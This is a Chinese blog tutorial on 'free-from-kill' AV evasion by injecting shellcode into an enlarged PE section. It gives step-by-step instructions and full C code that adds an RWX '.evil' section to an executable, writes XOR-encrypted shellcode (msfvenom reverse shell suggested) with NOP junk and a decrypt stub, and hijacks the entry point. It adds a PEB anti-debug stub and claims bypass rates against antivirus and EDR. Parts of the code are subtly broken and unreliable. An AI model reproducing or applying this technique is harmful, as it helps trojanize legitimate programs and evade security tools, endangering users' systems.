当前位置: 首页 > news >正文

免杀技术(高级中的基础手法)之PE扩大节注入ShellCode

目录

🔒 扩大节注入Shellcode:一种结合加密、花指令混淆和反调试的PE免杀技术详解

📚 技术概述

底层原理

扩大节注入的原理基于对PE结构的修改:

🔧 详细实现步骤

💻 对应代码

📊 技术评估

1️⃣ 技术高级程度

2️⃣ 绕过率

3️⃣ 流行度


🔒 扩大节注入Shellcode:一种结合加密、花指令混淆和反调试的PE免杀技术详解

  • PE(Portable Executable)文件的免杀技术一直是红队渗透测试和恶意软件开发的热门话题。
    • 其中,扩大节注入Shellcode是一种经典手法,通过修改PE文件结构,将恶意代码隐藏在扩展的节区中,并结合加密、混淆和反调试机制,提升隐蔽性和绕过检测的能力。
    • 我将说清楚这项技术的底层原理、实现步骤和对应代码示例,
    • 本文仅供教育和研究目的,严禁用于非法活动。

📚 技术概述

  • 扩大节注入Shellcode的核心是通过操纵Windows PE文件的节表(Section Table)
    • 在原有节(如.text或.data)后扩展或添加一个新节,将加密后的Shellcode(一段可执行的机器码,通常用于远程 shell 或载荷执行)注入其中。
    • 同时:
      • 融入加密算法(如XOR或AES)来隐藏代码
      • 花指令(无用指令插入)来扰乱静态分析
      • 以及反调试器(如检测调试标志)来对抗动态调试工具
    • 这种组合使文件在静态扫描(如病毒签名匹配)中显得“正常”,而在运行时通过解密和跳转执行恶意功能。
底层原理
  • PE文件是Windows可执行文件的标准格式
    • 其结构包括DOS头
    • NT头(IMAGE_NT_HEADERS)
    • 节表(IMAGE_SECTION_HEADER数组)和实际节数据。
  • 节表记录每个节的虚拟地址(RVA)、虚拟大小(VirtualSize)、原始大小(SizeOfRawData)和权限标志(Characteristics,如可读、可写、可执行)。
扩大节注入的原理基于对PE结构的修改:
  1. PE解析:从DOS头(IMAGE_DOS_HEADER)的e_lfanew字段定位NT头,然后访问节表。节表是一个数组,每个元素描述一个节。

  2. 节扩展:检查最后一个节的末尾空间。如果有空闲,扩展其VirtualSize和SizeOfRawData;否则,添加新节到节表末尾,更新NT头的NumberOfSections字段。新节权限设置为RWX(可读写执行,0xE0000020),允许Shellcode运行。

  3. Shellcode注入与加密:将Shellcode加密后写入新节。加密原理如XOR:每个字节与密钥异或,运行时反操作解密。花指令插入随机无用代码(如NOP 0x90或空跳转),改变字节序列,增加熵值扰乱AV扫描。

  4. 入口点劫持:修改NT头的OptionalHeader.AddressOfEntryPoint为新节的RVA,使程序启动时直接跳转到Shellcode。

  5. 反调试机制:通过检查进程环境块(PEB)的BeingDebugged标志或NtGlobalFlag(0x70偏移),检测调试器。如果检测到,执行退出或误导代码。底层依赖WinAPI如IsDebuggerPresent或汇编指令访问FS:30h(PEB基址)。

    这种原理使文件大小略增,但保持合法外观,绕过基于签名的检测(如Windows Defender),并干扰沙箱分析。

    🔧 详细实现步骤

    1. 准备Shellcode:生成原始Shellcode(如使用Metasploit的msfvenom生成反向shell),然后加密。原理:加密防止静态签名匹配,运行时解密恢复执行。示例:使用XOR密钥0xAA加密。

      1. 解析PE文件:打开目标PE文件(如合法的calc.exe),读取头结构。原理:e_lfanew偏移引导到NT头,节表紧随其后。计算最后一个节的末尾偏移作为注入点。

        1. 扩大或添加新节:如果空间不足,添加新节到节表。原理:更新NT头的SizeOfImage(总虚拟大小)和NumberOfSections。设置新节的VirtualAddress为上一个节的VirtualAddress + VirtualSize(对齐到SectionAlignment,通常0x1000)。

          1. 注入加密Shellcode并混淆:写入花指令、加密Shellcode和解密stub。原理:花指令增加无用字节,改变代码指纹;解密stub是一个小函数,使用循环XOR还原Shellcode。

            1. 劫持入口点与反调试:修改入口点RVA,并插入反调试代码。原理:入口劫持确保Shellcode优先执行;反调试通过PEB检查(汇编mov eax, [fs:30h])检测调试标志,如果为1则退出。

              1. 保存与测试:更新PE校验和(CheckSum),保存文件。原理:校验和用于文件完整性验证,忽略可能导致加载失败。测试在VirusTotal上检查检测率。

                💻 对应代码

                • 目标文件为"target.exe",Shellcode为一个简单示例(实际替换为msfvenom生成)。
                #include <windows.h>
                #include <winnt.h>
                #include <stdio.h>
                #include <string.h>// 示例加密Shellcode (实际用msfvenom生成)
                unsigned char shellcode[] = {0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51// ... 省略完整Shellcode
                };
                size_t shellcode_len = sizeof(shellcode);// XOR加密函数
                void xor_encrypt(unsigned char* data, size_t len, unsigned char key) {for (size_t i = 0; i < len; i++) {data[i] ^= key;}
                }int main() {// 步骤1: 准备Shellcode - 加密unsigned char key = 0xAA;xor_encrypt(shellcode, shellcode_len, key);// 步骤2: 解析PE文件FILE* fp = fopen("target.exe", "rb+");if (!fp) return 1;IMAGE_DOS_HEADER dos;fread(&dos, sizeof(dos), 1, fp);fseek(fp, dos.e_lfanew, SEEK_SET);IMAGE_NT_HEADERS nt;fread(&nt, sizeof(nt), 1, fp);// 定位节表fseek(fp, dos.e_lfanew + sizeof(IMAGE_NT_HEADERS), SEEK_SET);IMAGE_SECTION_HEADER last_sec;for (int i = 0; i < nt.FileHeader.NumberOfSections - 1; i++) {fread(&last_sec, sizeof(last_sec), 1, fp);}fread(&last_sec, sizeof(last_sec), 1, fp); // 最后一个节// 步骤3: 添加新节IMAGE_SECTION_HEADER new_sec = {0};memcpy(new_sec.Name, ".evil", 6);new_sec.VirtualSize = 0x1000; // 足够Shellcodenew_sec.VirtualAddress = last_sec.VirtualAddress + ((last_sec.VirtualSize + nt.OptionalHeader.SectionAlignment - 1) / nt.OptionalHeader.SectionAlignment) * nt.OptionalHeader.SectionAlignment;new_sec.SizeOfRawData = 0x1000;new_sec.PointerToRawData = last_sec.PointerToRawData + ((last_sec.SizeOfRawData + nt.OptionalHeader.FileAlignment - 1) / nt.OptionalHeader.FileAlignment) * nt.OptionalHeader.FileAlignment;new_sec.Characteristics = IMAGE_SCN_MEM_EXECUTE | IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_WRITE; // RWX// 写入新节到节表末尾fseek(fp, dos.e_lfanew + sizeof(IMAGE_NT_HEADERS) + nt.FileHeader.NumberOfSections * sizeof(IMAGE_SECTION_HEADER), SEEK_SET);fwrite(&new_sec, sizeof(new_sec), 1, fp);nt.FileHeader.NumberOfSections++;nt.OptionalHeader.SizeOfImage += new_sec.VirtualSize;// 步骤4: 注入Shellcode并混淆fseek(fp, new_sec.PointerToRawData, SEEK_SET);// 插入花指令 (100 bytes NOP)unsigned char junk[100];memset(junk, 0x90, 100); // NOPfwrite(junk, 100, 1, fp);// 写入加密Shellcodefwrite(shellcode, shellcode_len, 1, fp);// 添加解密stub (汇编代码:mov ecx, len; mov al, key; loop xor [rdi], al)unsigned char decrypt_stub[] = {0x48, 0x89, 0xC7, // mov rdi, rax (假设Shellcode地址在rax)0xB9, shellcode_len & 0xFF, (shellcode_len >> 8) & 0xFF, (shellcode_len >> 16) & 0xFF, (shellcode_len >> 24) & 0xFF, // mov ecx, len0xB0, key, // mov al, key0x30, 0x07, // xor [rdi], al0x48, 0xFF, 0xC7, // inc rdi0xE2, 0xF9, // loop0xFF, 0xE0 // jmp rax (执行解密后Shellcode)};fwrite(decrypt_stub, sizeof(decrypt_stub), 1, fp);// 步骤5: 劫持入口点与反调试// 反调试stub: 检查PEB BeingDebuggedunsigned char anti_dbg[] = {0x64, 0x8B, 0x04, 0x25, 0x30, 0x00, 0x00, 0x00, // mov eax, [fs:30h] PEB0x8A, 0x40, 0x02, // mov al, [eax+2] BeingDebugged0x84, 0xC0, // test al, al0x75, 0x05, // jnz exit0xEB, 0x00, // jmp continue (占位)0xC3 // ret (exit if debugged)};// 假设插入到解密前,实际调整偏移nt.OptionalHeader.AddressOfEntryPoint = new_sec.VirtualAddress; // 劫持到新节// 更新NT头fseek(fp, dos.e_lfanew, SEEK_SET);fwrite(&nt, sizeof(nt), 1, fp);// 步骤6: 保存文件 (忽略CheckSum更新,实际需计算)fclose(fp);return 0;
                }
                • 代码需编译为EXE运行
                  • 实际Shellcode替换为完整版本
                  • 注意对齐和大小计算以避免文件损坏。

                📊 技术评估

                1️⃣ 技术高级程度

                中等偏上。基础注入简单,但结合加密和反调试使其复杂。相比内核注入,它更易实现但不如先进。

                2️⃣ 绕过率

                对AV约50-80%,对EDR 30-60%。加密避签名,花指令扰分析,但EDR可捕获RWX行为。

                3️⃣ 技术牛逼

                适合入门炫技,迭代后(如加syscall)更强,后面再添加syscall注入调用。

                http://www.dtcms.com/a/453143.html

                相关文章:

              2. C#自动化程序界面
              3. 什么是Maven?关于 Maven 的坐标、依赖管理与 Web 项目构建
              4. 新上线网站如何做搜索引擎市场监督管理局
              5. 《投资-84》价值投资者的认知升级与交易规则重构 - 第二层:是虚拟的不可见的价值,可以被正向放大、也可以反向放大
              6. 上虞中国建设银行官网站网站开发的工作总结
              7. Cortex-M 中断挂起、丢中断与 EXC_RETURN 机制详解
              8. Qt C++ :QWidget类的主要属性和接口函数
              9. 串扰14-蛇形走线与信号延迟
              10. Java SpringBoot(一)--- 下载Spring相关插件,创建一个Spring项目,创建项目出现的问题
              11. 业务过程需求在软件需求中的特殊性与核心地位
              12. 域名哪个网站续费商洛市住房城乡建设厅网站
              13. 笛卡尔积 = 所有可能组合 = 行数相乘
              14. MySQL——数据类型和表的操作
              15. 工作笔记-----ICache对中文显示的影响问题
              16. 什么是 Maven?关于 Maven 的命令、依赖传递、聚合与继承
              17. nat静态地址转化
              18. 计算机网站开发要考什么证竞价培训班
              19. 《算法与数据结构》第七章[算法3]:图的最小生成树
              20. 文科和理科思维差异:推演与归纳
              21. 雨雪“开关式”监测:0.5秒精准响应,守护户外安全
              22. 做文化传播公司网站手机建立网站
              23. HTML的本质——网页的“骨架”
              24. 徐州双语网站制作wordpress 外链视频
              25. React 快速入门:菜谱应用实战教程
              26. 网站备案和域名备案网页源码app
              27. Tomcat本地部署SpringBoot项目
              28. 大模型开发 - 04 QuickStart_DeepSeek 模型调用流程源码解析:从 Prompt 到远程请求
              29. 怎么把在微企点做响应式网站深圳专业网站建
              30. 认识三极管
              31. gRPC从0到1系列【23】